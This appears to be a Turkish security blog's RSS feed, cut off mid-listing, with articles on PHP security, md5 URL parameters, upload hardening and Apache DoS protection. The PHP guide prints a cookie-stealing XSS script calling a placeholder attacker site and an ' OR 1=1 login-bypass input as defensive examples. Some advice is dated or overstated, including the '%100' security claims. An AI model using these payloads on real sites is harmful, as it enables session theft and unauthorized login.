<?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Muzaffer AKYIL (Victorious) &#187; Güvenlik</title> <atom:link href="http://muzaffer.akyil.net/tag/guvenlik/feed" rel="self" type="application/rss+xml" /><link>http://muzaffer.akyil.net</link> <description></description> <lastBuildDate>Tue, 08 Mar 2011 09:18:58 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>PHP Güvenlik Kılavuzu</title><link>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx</link> <comments>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx#comments</comments> <pubDate>Fri, 20 Feb 2009 11:47:27 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[arı]]></category> <category><![CDATA[ddos]]></category> <category><![CDATA[injection]]></category> <category><![CDATA[okan]]></category> <category><![CDATA[SQL]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/?p=145</guid> <description><![CDATA[Çok değerli arkadaşım Okan Arı&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim. Buyrun bakalım ; Giriş PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı [...]]]></description> <content:encoded><![CDATA[<p>Çok değerli arkadaşım <a href="http://www.okanari.com" target="_blank" class="liexternal previewlink">Okan Arı</a>&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim.<br /> <span id="more-145"></span><br /> Buyrun bakalım ;</p><p><strong>Giriş</strong></p><p>PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı öğrenilebilirlik, bu dili bir çok kişinin öğrenmesine, aynı hızda üretim yaparak uygulama geliştirmesine de olanak sağlamaktadır. Ancak bu durum, bilinsizce yapılan kodlama teknikleri nedeniyle kendi içerisince ciddi bir güvenlik problemini yanında getirmektedir.<br /> Bu klavuz size, online güvenlik, web tabanlı yazılım geliştirirken PHP’de temel güvenliği nasıl sağlayacağınız konusunda fikir vermek için hazırlanmıştır. Klavuz içerisinde başlangıç seviyesi kullanıcılar için önemli bilgiler, uzmanlar için belki de gözden kaçan ufak ipuçları bulunabilir.<br /> <strong><br /> Atak Tipleri:</p><p>XSS Atağı:</strong><br /> XSS &#8220;Cross Site Scriptting&#8221; anlamında kullanılmaktadır ve bir sayfaya içerik girmek -JavaScript gibi- gibi düşünebiliriz. XSS atakları genelde kullanıcının Cookie (çerez) lerini çalmak amacıyla kullanılır. Bu cookie’ler kullanıcı login bilgileri, sişreleri ya da benzeri önemli bilgileri içeriyor olabilir.</p><p>Basit anlamda bir örnek verelim.</p><pre class="brush: php; ">

$id=$_GET[&#039;id&#039;];
echo &quot;Gelen ID degeri:&quot;.$id;
</pre><p>Yukarıdaki kodda, $_GET[’id’] degiskeni bir sayı ise problem yok. Ancak ya aşağıdaki gibi bir kodsa?</p><pre class="brush: js; ">

&lt;script&gt;
window.location.href = &quot;http://kotuamaclisite.com/cookie-calanscript.php?c=&#039; + document.cookie;
&lt;/script&gt;
</pre><p>Kullanıcı bir sekilde, bu kotu amaçlı kodu çalıştırırsa, tüm cookie bilgilerini kotü amaçlı siteye devredebilir.</p><p><strong>XSS Ataklarından Nasıl Korunurum?</strong></p><p>İlk olarak, asla kullanıcı girişi bilgilerine güvenmeyiniz. Kullanıcılardan girilen her bilgiyi mutlaka kontrol edip filtrelememiz gerekiyor. Yani gelen kullanıcı bilgilerini HTML tag’lerinden arındırırsak bir JavaScript kodu çalıştırılamak hale getirebiliriz. Bunu yapmanın en kolay yolu PHP’nin strip_tags() fonksiyonunu kullanmaktır. Bu fonksiyon tüm HTML tag’lerini temizleyecektir. HTML tag’lerini silmemek ama onları zararsız hale getirmk için htmlentities() fonksiyonunu da kullananilirsiniz. Bu fonksiyon, < ve > karakterlerini < ve >karakterlerine dönüştürecektir.</p><p><strong>SQL Injection Yönetemi:</strong></p><p>Günümüzde bir çok web sitesi verileri barındırmak için veritabanı kullanmaktadır. Bu bağlamda veritabanına girmek için bir çok INSERT, UPDATE ve SELECT işlemleri yapılmaktadır. Buna rağmen bir çok site, form verileri açısında SQL Injection yöntemi ile atağa uğramak konusunda yeterli güvenliğe sahip değildir.</p><p>SQL Injection, değiştirilmiş, atak için düzenlenmiş form içerikleri ile yapılan veritabanı sorgularıdır. Bu ataklar veritabanınızdan bir kaç veriyi çalmak, izinsiz login olmak, ya da tüm veritabanını silmek gibi sonuçları doğurabilir.</p><p>En genel kullanımı anlatmak için aşağıdaki kod örneğine bakalım:</p><pre class="brush: php; ">

site_users
WHERE
username = &#039;$username&#039;
AND
password = &#039;$password&#039;
&quot;);

if ( mysql_num_rows($result) &gt; 0 )
// login oldu
</pre><p>Yukarıdaki kod örneği, SQL Injection için gerekli ortamı hazırlamaktadır, bu konuda zaafiyet oluştrabilecek bir kod örneğidir. Kötü amaçlı bir kişi yukarıdaki SQL&#8217;i değiştirerek sisteme izinsiz giriş yapabilir. (Kullanıcı şifresini girmeden login olabilir)</p><p>Örneğin kötü kullanıcı (saldırgan) kullanıcı adı alanına &#8220;rob&#8221; şifre (password) alanına aşağıdaki gibi bir giriş yaparsa:</p><p>&#8216; OR 1=1 &#8216;</p><p>Yukarıdaki kod şu şekli alır:</p><pre class="brush: sql; ">

SELECT *
FROM
site_users
WHERE
username = &#039;rob&#039;
AND
password = &quot; OR 1=1
</pre><p>Bu SQL sorgusu ise, kullanıcı adı &#8220;rob&#8221; olan kaydın şifresi ne olursa olsun getirmektedir. Yani şifre kontrolu gerçekleşememiştir.</p><p><strong>SQL Injection Atağından Nasıl Korunurum?</strong></p><p>XSS Atağında olduğu gibi, en büyük sorun kullanıcının gönderdiği veriyi olduğu gibi kullanmaktır. Korunmanın en iyi yöntemi ise, kullancıı verisini riskli karakterlerden arındırmaktır. mysql_real_escape_string() fonksiyonu bu amaçla PHP içerisinde yer alıyor. Bu fonksiyon riskli olan &#8216; ve &#8221; gibi karakterleri temizlemektedir. Ayrıca, SQL sorgularınızda kullandığınız kullancıı verileri, eğer, sayı olmanı bekleniyorsa intval() fonksiyonu ile gelen verinin sadece sayı bilgisi olan kısmı alınmalıdır.</p><p><strong>Dosya Yüklemesi Atağı (File Upload)</strong></p><p>Kullancıların yükledikleri dosyalar en büyük güvenlik risk unsurlarının başında gelmektedir. Bu, tanımadığınzı bilmediğiniz dosyaları sunucunuzda barındırmak anlamındadır. Bu dosyalar, dosyalarınız silmek için, veri tabanınızı boşaltmak için olabilir. Ya da daha başka bir çok güvenlik problemine neden açabilecek dosyalar olabilir.</p><p>Buna rağmen, güvenli şekilde dosya almak kontrol içerisinde alındığında mümkündür.</p><p>Kullanıcıların sisteminize dosya yüklemesine izin verdiğiniz durumlarda, kontrol etmeniz gereken 2 önemli bilgi mevcuttur.</p><p>Birincisi, dosyanın &#8220;mime-type&#8221; ıdır. Yani, dosyanın header’ında bulunan ve dosya tipini belirten bölüm. Örneğin kullanıcının sadece resim dosyası upload etmesini istiyorsanız yüklenen dosyanın &#8220;mime-type&#8221; ı image/png, image/jpeg, image/gif, image/x-png ya da image/p-jpeg olmalıdır. Aşağıdaki kod bu kontrolü gerçekleştirir.</p><pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039;,
&#039;image/x-png&#039;,
&#039;image/gif&#039;,
&#039;image/jpeg&#039;,
&#039;image/pjpeg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!in_array($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// İşlem tamam yüklemeyi gerçekletir vs vs.
</pre><p>İkinci kontrol etmeniz gereken bilgi ise, dosyanın uzantısıdır. Zira, mime-type bilgisi manuple edilebilir bir bilgidir. Bu bağlamda dosyanın uzantısını kontrol etmeniz gerekir. Zira bir kullanıcı, bir imaj dosyasının mime-type ı ile bir PHP dosyası gönderebilir. Bu durumda siz bir PHP dosyasını sisteminize almış olursunuz ki bu çok ciddi bir risk faktörüdür.</p><p>Bu durumdan korunmak için, sisteminize yüklediğiniz dosyaların uzantıları, siz tanımlamalısınız. Bu tanımlamayı ise mime-type bilgise göre yapabilirsiniz. Aşağıdaki örneğe bakalım:</p><pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039; =&gt; &#039;.png&#039;,
&#039;image/x-png&#039; =&gt; &#039;.png&#039;,
&#039;image/gif&#039; =&gt; &#039;.gif&#039;,
&#039;image/jpeg&#039; =&gt; &#039;.jpg&#039;,
&#039;image/pjpeg&#039; =&gt; &#039;.jpg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!array_key_exists($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// Dosya uzantısını barındırmayan dosya adını alalım:
$filename = substr($image[&#039;name&#039;], 0, strrpos($image[&#039;name&#039;], &#039;.&#039;));

// Mime type göre dogru uzantıyı verelim
$filename .= $validMimes[$image[&#039;type&#039;]];

// İşlem tamam
</pre><p>Yukarıdaki örnekle, bir PHP dosyanının sanki bir resim dosyasıymış gibi sisteminize PHP dosyası olarak yüklenmesini engellediniz. Dosya mime-type’ı PNG’yi işaret ediyorsa, dosya uzantısı .png olacaktır.</p><p><strong>Dosya Include Atağı:</strong></p><p>Kullanımı çok yaygın olan index.php?sayfa=xxxx.php şeklideki dosya include yöntemi çok ciddi risk taşıyabilir. Bu kullanım genelde, menü yapısı, logo gibi bölümleri index.php ye kaydedip içerik bölümünü başka dosyalarda saklayarak site yönetimini kolaylaştırmak için kullanılır. Bu durumdaki yanlışlık,</p><pre class="brush: php; ">

include $_GET[&#039;sayfa&#039;];
</pre><p>gibi bir kod ile gelen değişkene göre sayfayı include etmektendir.</p><p>Yukaridaki kullanımda PHP’nin allow_url_fopen ayarı ON durumda ise, yani aktifse, saldırgan başka bir sunucudaki dosyayı sitenize include edebiliyor demektir. Kodunuz da echo file_get_contents() değil de include kullanıdığı için bu çok sık karşılaşılan bir açığa sebebiyet vermektedir. Bu durum, sunucunuzun tüm kontrolünü saldırgana bırakmak demektir.</p><p>Bu durumdan yapabileceğiniz 2 şey vardır.</p><p>Birincisi, bir liste oluşturup gelen değişkeni burada kontrol etmektir. Örneğin şöyle bir kod ile:</p><pre class="brush: php; ">

switch($_GET[&#039;sayfa&#039;]) {
case &quot;hakkimizda&quot;:
include(&#039;hakkimizda.php&#039;);
break;
case &quot;haberler&quot;:
include(&#039;haberler.php&#039;);
break;
default:
include(&#039;anasayfa.php&#039;);
}
</pre><p>Bu kod ile include edebileceğiniz her sayfayı belirtiyor ve belirtmediğiniz sayfa için anasayfa.php dosyasını include ediyorsunuz. Bu yöntemin zor tarafı, ekleyeceğiniz her sayfayı bu listeye de eklemek zorunluluğudur.</p><p>İkinci bir yöntem ise, dışarodan gelen $_GET['sayfa'] değişkenini kontrol etmek ve temizlemektir.</p><pre class="brush: php; ">

$sayfa = preg_replace(&#039;/\W/si&#039;, &#039;&#039;, $_GET[&#039;sayfa&#039;]);

include(&#039;./&#039;.$sayfa.&#039;.php&#039;);
</pre><p>Yukarıdaki kod, &#8220;..&#8221;, &#8220;/&#8221; gibi karakterleri temizleyerek kullanıcının 212.111.111.111 gibi ip ya da http://www.kotusite.com gibi domain belirtmesini engeller. Bu verileri 212111111111, httpwwwkotusitecom şekline çevirir.</p><p>Dosya include atağındaki diğer bir açık ise, include edilen dosyaların uzantılarını .inc gibi sunucunun tanımayacağı bir uzantı yapmaktır. Örneğin, config.inc gibi bir dosya yapıp bunu include etmek çok sakıncalı olabilir. Zira, saldırgan bu dosyanın adını ve yerini öğrendiğinde, eğer web suncuunuz bu dosyayı çalıştırabilir bir dosya olarak tanımıyorsa (ki tanımama ihtimali yüksektir), saldırdan dosya içeriğini görecektir. Bu durumda yapabileceğiniz, her türlü dosya uzantınızı .php yapmaktır. Boylece saldırgan bu dosyaların içeriğini görüntüleyemez. Diğer bir yöntem ise Apache sunucular için, aşağıdaki gibi bir .htaccess dosyası olusturarak .inc dosyalarının ulaşılmasını engelleyebilirsiniz.</p><pre class="brush: c; ">

&lt;files ~ &quot;\.inc$&quot;&gt;
Order allow,deny
Deny from all
&lt;/files&gt;
</pre><p><strong>Register Globals Atağı:</strong></p><p>register_globals değeri PHP ayarında ON durumda ise, $_POST, $_GET, $_SERVER, $_COOKIE, $_REQUEST, $_FILE ile gelen değişkenlere global değişkenler olarak ulaşabilirsiniz. Yani mesela $_POST[’mesaj’] değişkenine $mesaj olarak ulaşabilirsiniz.</p><p>register_globals değeri güncel PHP kurulumlarında varsayılan olarak OFF durumdadır. Ancak eski bir PHP kurulumu bulunan sunucuda, ya da sistem yönetici tarafından özellikle açılmış bir sunucuda ON durumunda olabilir (ki paylaşımlı hosting firmaları geçmiş müşterilerinin kodlarının uyumu adına açabiliyorlar).</p><p>register_globals’in ON olamsı durumu için aşağıdaki kodu inceleyelim.</p><p>dosya.php dosyası örneği:</p><pre class="brush: php; ">

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre><p>Saldırgan, dosya.php?authenticated=true şeklinde bir URL çağrımı ile, sisteme izinsiz giriş yapabilir.</p><p>Bu durumda ne yapacağız, register_globals değerini OFF yapamayabileceğimiz durumların her zaman gerçekleşebileceğini düşünerek, kodumuzu şu şekilde değiştirelim.</p><pre class="brush: php; ">

$authenticated = false;

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre><p>Bu kod, $authenticated değişkenini sayfa başında false yapmaktadır. $_POST&#8217;tan gelen veri eğer uygunsa $authenticated true yapılır. Böylece, dışarıdan gönderilen değişken ile izinsiz giriş yaplıması engellenmiş olur.</p><p>Derleme ve Çeviri : <a href="http://www.okanari.com" target="_blank" class="liexternal previewlink">Okan ARI</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2009%2F02%2F20%2Fmakale%2Fyazilim%2Fphp%2Fadmin%2Fphp-guvenlik-kilavuzu.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-145"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=145&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx/feed</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>URL String Güvenliği</title><link>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx</link> <comments>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx#comments</comments> <pubDate>Wed, 13 Dec 2006 09:24:51 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[md5]]></category> <category><![CDATA[query string]]></category> <category><![CDATA[security]]></category> <category><![CDATA[url]]></category> <category><![CDATA[web design]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx</guid> <description><![CDATA[Dinamik sayfaların internette statik sayfaların yerine geçmesi ile birlikte ilgili html sayfarına paremetre göndererek sayfanın içeriğinin değişmesi sağlanabiliyor. Örneğin http://xyz.com/kategori.php?k=1 sayfası k parametresi ile kaçıncı kategoriyi görüntülemek istiyorsanız ona ait olan resmi gösterir. Daha özel sayfalarımız olduğunu varsayalım. Mesela kullanıcılarımızın icq da olduğu gibi bir kullanıcı numarası ile tekilliğini sağladığımızı varsayalım. http://xyz.com/kullanici.php?no=1 şeklinde ki bir [...]]]></description> <content:encoded><![CDATA[<p>Dinamik sayfaların internette statik sayfaların yerine geçmesi ile birlikte ilgili html sayfarına paremetre göndererek sayfanın içeriğinin değişmesi sağlanabiliyor.<br /> <span id="more-51"></span></p><p><strong>Örneğin</strong></p><p><strong>http://xyz.com/kategori.php?k=1</strong> sayfası <strong>k</strong> parametresi ile kaçıncı kategoriyi görüntülemek<br /> istiyorsanız ona ait olan resmi gösterir.</p><p>Daha özel sayfalarımız olduğunu varsayalım. Mesela kullanıcılarımızın icq da olduğu gibi bir kullanıcı numarası ile tekilliğini sağladığımızı varsayalım.</p><p><strong>http://xyz.com/kullanici.php?no=1</strong> şeklinde ki bir yapının <strong>1</strong> nolu kullanıcının bilgilerini diğer kullanıcılara göstermek için kullanıldığını varsayalım.</p><p>Sitenizi gezen her hangibir kişi sitede diğer kullanıcı bilgilerine ulaşmak için tek yapacağı no parametresini arttırarak sayfayı yeniden çağırmak olacaktır.</p><p>Böylecene izin verdiğiniz kadar olan bilgilere rahatlıkla ulaşabilecektir. Eğer sizin istediğiniz sadece gösterilen bağlantıdan kullanıcı bilgilerine ulaşmak ise şimdi anlatacağım yöntem işinize yarayabilir.</p><p><strong>md5() fonksiyonu</strong></p><p>md5 fonksiyonu bir katarın (string) 32 karakterlik hexedecimal hash değerini MD5 message digest algoritmasını kullanarak döndürür. Bulunan değerden (çıktı) girdiye tekrar geri dönülemez. Yani algoritma tek yönlü bir şifreleme algoritmasıdır. Php&#8217;de string md5(string str) şeklinde tanımlanmıştır.</p><p>örnek vermek gerekirse md5 lenmiş girdi ve çıktı aşağıdaki gibi görülebilir.</p><p><code lang="php">for($n=1; $n < 10 ;$n++ )<br /> {<br /> $str = md5($n);<br /> echo "$n:$str";<br /> }</code><br /> Çıktısı:<br /> <code lang="php">/*<br /> 1:c4ca4238a0b923820dcc509a6f75849b<br /> 2:c81e728d9d4c2f636f067f89cc14862c<br /> 3:eccbc87e4b5ce2fe28308fd9f2a7baf3<br /> 4:a87ff679a2f3e71d9181a67b7542122c<br /> 5:e4da3b7fbbce2345d7772b0674a318d5<br /> 6:1679091c5a880faf6fb5e6087eb1b2dc<br /> 7:8f14e45fceea167a5a36dedd4bea2543<br /> 8:c9f0f895fb98ab9159f51fd0297e236d<br /> 9:45c48cce2e2d7fbdea1afc51c7c6ad26<br /> */</code></p><p><strong>md5'i nasıl kullanacağız</strong></p><p><strong>http://xyz.com/kullanici.php?no=1</strong> şeklinde bir URL üzerinde ziyaretçi kolayca mantık yürütüp no yu arttırarak diğer kullanıcılar hakkında bilgiye ulaşabilirdi. Dahada kötüsü bir program yapıp sunduğunuz kadar bilgiyi ele geçirebilir.</p><p>Biz bu kişilerin işlerini biraz daha zorlaştırmaya çalışalım. Yukarıda ki URL adresini kendimiz yaratalım ve <strong>http://xyz.com/kullanici.php?no=1&#038;m=c4ca4238a0b923820dcc509a6f75849b</strong> şekline getirelim.</p><p>Bu işlemden sonrada kullanici php'de kontrol yapmamız gerekiyor. Kontrolun aşağıdaki şekilde olduğunu varsayalım.</p><p><code lang="php">if($m!=md5($no))<br /> {<br /> echo "İzinsiz ulaşım.";<br /> exit(); // Burada bir hata sayfası çıkarmak daha mantıklı<br /> }<br /> // Buraya gelebildiyseniz normal görüntüleme işlemne devam edebilirsiniz.<br /> </code></p><p><strong>Daha iyisi</strong><br /> Tamam bu yöntemi kullandığınızı varsayalım peki ya bu dokümanı okuyan tek kişi siz değilseniz. Birinci parametreyi md5 leyip ikincisini bilgiyi ulaşabilen kişi yaratabilirse ne olacak.</p><p>Küçük bir çözüm program içinde md5 fonksiyonuna bir ekleme yapmak. Örneğin bir anahtar ekliyebiliriz.</p><p><code lang="php">$anahtar = ':) kimse bilmez';<br /> for($n=1; $n < 10 ;$n++ )<br /> {<br /> $str = md5($n.$anahtar);<br /> echo "$n:$str";<br /> }</code><br /> Çıktısı :<br /> <code lang="php">/*<br /> 1:ca4dd161be8e0eb1822c8774406b598b<br /> 2:7af9fc853719a96a661c9173e4be5f5a<br /> 3:1ac140b91f245a4406ff6f4f99af5045<br /> 4:de5e507a1468d4add1d87e343a6adb56<br /> 5:c5a040e097b07346e3cd4fa9df917b5a<br /> 6:61e2e0e8423585e8b9f32e09ac9fa458<br /> 7:4528f12d61df3ba3a2f08a5c82646441<br /> 8:086cf3e596d30bc8ed7dc2de21b5fcfa<br /> 9:02c70560d05402b519204ae2911bb004<br /> */<br /> </code></p><p>Gördüğünüz gibi değerler değişti. Anahtarı kimse bilmediğine göre artık sorunumuz yok. Unutmamalı ki bu sadece işleri biraz zorlaştırmak için bir yöntem. İnsan yapımı olduğu sürece bir şekilde bilgileriniz güvenli değildir. Ama biz yinede eşeği bağlayalım.</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F12%2F13%2Fmakale%2Fguvenlik%2Fadmin%2Furl-string-guvenligi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-51"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=51&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/url-string-guvenligi.aspx/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>%100 Site Güvenliği</title><link>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx</link> <comments>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx#comments</comments> <pubDate>Wed, 13 Dec 2006 09:05:37 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[md5]]></category> <category><![CDATA[query string]]></category> <category><![CDATA[security]]></category> <category><![CDATA[sourcecop]]></category> <category><![CDATA[url]]></category> <category><![CDATA[web design]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/12/13/makale/guvenlik/admin/%100-site-guvenligi.aspx</guid> <description><![CDATA[1. Htaccess güvenliği , sitenizde dosya yükleme özelleği varsa %100 uygulamanız gerek birşeydir. Bu dosya yükleme derken upload, resim yükleme, avatar yükleme vb. yüklemeler , mesela avatar diye php kodu yükleyeyip fso çalıştırabilirler sitenizde bunu engellemek için yükleme yapılan klasöre birtane .htaccess dosyası oluşturup içine aşşağıdaki kodları yazın. deny from all deny from all deny [...]]]></description> <content:encoded><![CDATA[<p>1. Htaccess güvenliği , sitenizde dosya yükleme özelleği varsa %100 uygulamanız gerek birşeydir.<br /> <span id="more-50"></span><br /> Bu dosya yükleme derken upload, resim yükleme, avatar yükleme vb. yüklemeler , mesela avatar diye php kodu yükleyeyip fso çalıştırabilirler sitenizde bunu engellemek için yükleme yapılan klasöre birtane .htaccess dosyası oluşturup içine aşşağıdaki kodları yazın.</p><p><code lang="php"><br /> <filesmatch><br /> deny from all<br /> </filesmatch><br /> <filesmatch><br /> deny from all<br /> </filesmatch><br /> <filesmatch><br /> deny from all<br /> </filesmatch><br /> </code></p><p>2. Config dosyalarını şifrelemek, sitenizin ayar dosyalarını şifrelerseniz kötü amaçlı kişiler ftpden yada fso ile sitenize girse bile config dosyalarınızı şifreleyerek veritabanı bilgilerine ulaşmalarını engelleyebilirsiniz bunu sağlarsanız %100 veritabanınız güvenli hale gelir.</p><p>Config dosyalarınızı şifrelemek için SourceCop programını kullanın aşşağıda download linkini verdim programı açıp orda php yi seçin sonra C sürücünüzde bir klasör oluşturun içine config.php veya sitenizin ayar dosyasının adı neyse onu koyun sonra sourcecop programında Select Source Folder tuşuna basıp c sürücüsünde oluşturduğunuz klasörü seçin ve Encrypt tuşuna basın bukadar sonra oluşturduğunuz klasörün içindeki ayar dosyası ile birlikte scopbin klasörünü sitenizde uygun yere yükleyin bundan sonra sitenizin komple çekseler bile veritabanına ulaşamazlar. :)</p><p><a href="http://rapidshare.com/files/1374119/SourceCop.v3.rar.html" target="_blank" class="liexternal previewlink">http://rapidshare.com/files/1374119/SourceCop.v3.rar.html</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2006%2F12%2F13%2Fmakale%2Fguvenlik%2Fadmin%2F100-site-guvenligi.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-50"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=50&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2006/12/13/makale/guvenlik/admin/100-site-guvenligi.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Dos Saldırları İçin</title><link>http://muzaffer.akyil.net/2006/01/29/makale/admin/dos-saldirlari-icin.aspx</link> <comments>http://muzaffer.akyil.net/2006/01/29/makale/admin/dos-saldirlari-icin.aspx#comments</comments> <pubDate>Sun, 29 Jan 2006 01:10:21 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Makalelerim]]></category> <category><![CDATA[dos]]></category> <category><![CDATA[engelleme]]></category> <category><![CDATA[saldırı]]></category> <category><![CDATA[security]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2006/01/29/dos-saldirlari-icin/</guid> <description><![CDATA[MOD_EVASIVE (Apache DoS Evasive Maneuvers Module): Mod_evasive apache için DoS , DDoS ve brute force saldırılarını engellemek için yazılmış bir modüldür. Firewall ların genellikle etkisiz kaldıkları get, post tipi saldırılarda özellikle yeteneklerini göstermektedir. Böylece sunucunuza aşırı yük binmeden kendini toparlıyabilmesini sağlamaktadır. Kolayca firewall, router, ipchain, iptables ile anlaşabilecek şekilde modülü ayarlıyabilirsiniz. Böylece saldırganların sunucudan firewall [...]]]></description> <content:encoded><![CDATA[<p><strong>MOD_EVASIVE (Apache DoS Evasive Maneuvers Module):</strong></p><p><strong>Mod_evasive</strong> apache için DoS , DDoS ve brute force saldırılarını engellemek için yazılmış bir modüldür. Firewall ların genellikle etkisiz kaldıkları get, post tipi saldırılarda özellikle yeteneklerini göstermektedir. Böylece sunucunuza aşırı yük binmeden kendini toparlıyabilmesini sağlamaktadır. Kolayca firewall, router, ipchain, iptables ile anlaşabilecek şekilde modülü ayarlıyabilirsiniz. Böylece saldırganların sunucudan firewall seviyesinde yada router seviyesinde atılmasını sağlayabilirsiniz.<br /> <span id="more-6"></span><br /> Genel olarak yaptığı işi inceliyelim kullanıcı sunucudaki bir siteye devamlı get, post, put gibi istekler gönderiyorsa <strong>mod_evasive</strong> tarafından kara listeye alınıyor. Sizin belirlediğiniz süre boyunce kara listeye alınan kişi sunucuya istek göndermeye devam edebilir. Ama alacağı http <strong>403 forbidden (yasak)</strong> cevabını alır. Bu istekler devam etse bile sunucunuz yorulmayacaktır. Kendi deneyimlerimi yazının en sonunda paylaşacağım. Eğer firewall yada router ile anlaşabilecek şekilde ayarlarsanız <strong>mod_evasive</strong> yı kara listeye alınan kullanıcı bekletilmeden direk sunucudan uzaklaştırılıcaktır.</p><p><strong>Teknik Detaylar:</strong></p><p>Tarama işlemi oluşturulan bir dinamik hash tablosunun kontrolu ile yapılır.Bu tablodaki ipler aşağıdaki standart kurulum değerlerini gösteriyorsa kara listeye alınır.</p><ul><li>Saniyede aynı sayfayı birden fazla istek yapılmışsa.</li><li>Aynı çocuk süreç üzerinden 50 istek yapıldı ise.</li><li>Kara listeye alındığı halde istek yapılıyorsa.</li></ul><p>Bu genellikle bu aralar çok yaygın olarka yapılan http flood scriptlerinden sunucuyu korumaktadır. Hem cpu kullanımını minimal de tutarken hemde sunucuyu bandwidth türü yapılan saldırıladan korur.Belirlenen süre içinde engellenen kullanıcılar süre bittiğinde sunucuya takrar istek gönderebilir tabi firewall yada router ile sunucudan atılmadı ise. Sunucudan yaskalı olan ip listesi <strong>/tmp</strong> dizininde saklanmaktadır ve <strong>mod_evasive</strong> tarafından kontrol edilmektedir.</p><p><code lang="bash">root@root [/tmp]# ls dos*<br /> dos-193.255.81.227   dos-81.213.181.185  dos-81.214.188.238  dos-81.215.159.222  dos-85.105.17.253  dos-85.97.78.30 dos-194.27.42.18     dos-81.213.187.111  dos-81.214.203.78   dos-81.215.183.102  dos-85.74.11.134   dos-85.97.98.100<br /> dos-195.128.254.3    dos-81.213.233.159  dos-81.214.251.12   dos-81.215.246.136  